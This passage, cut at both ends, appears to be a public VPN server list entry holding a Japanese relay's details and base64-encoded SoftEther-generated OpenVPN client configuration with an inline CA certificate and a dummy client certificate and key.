JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn165488493,202.137.61.5,755535,5,91506022,Japan,JP,12,82061195,7485,526910120613,2weeks,DESKTOP-BV3O3CQ's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMDIuMTM3LjYxLjUgMTcyNA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3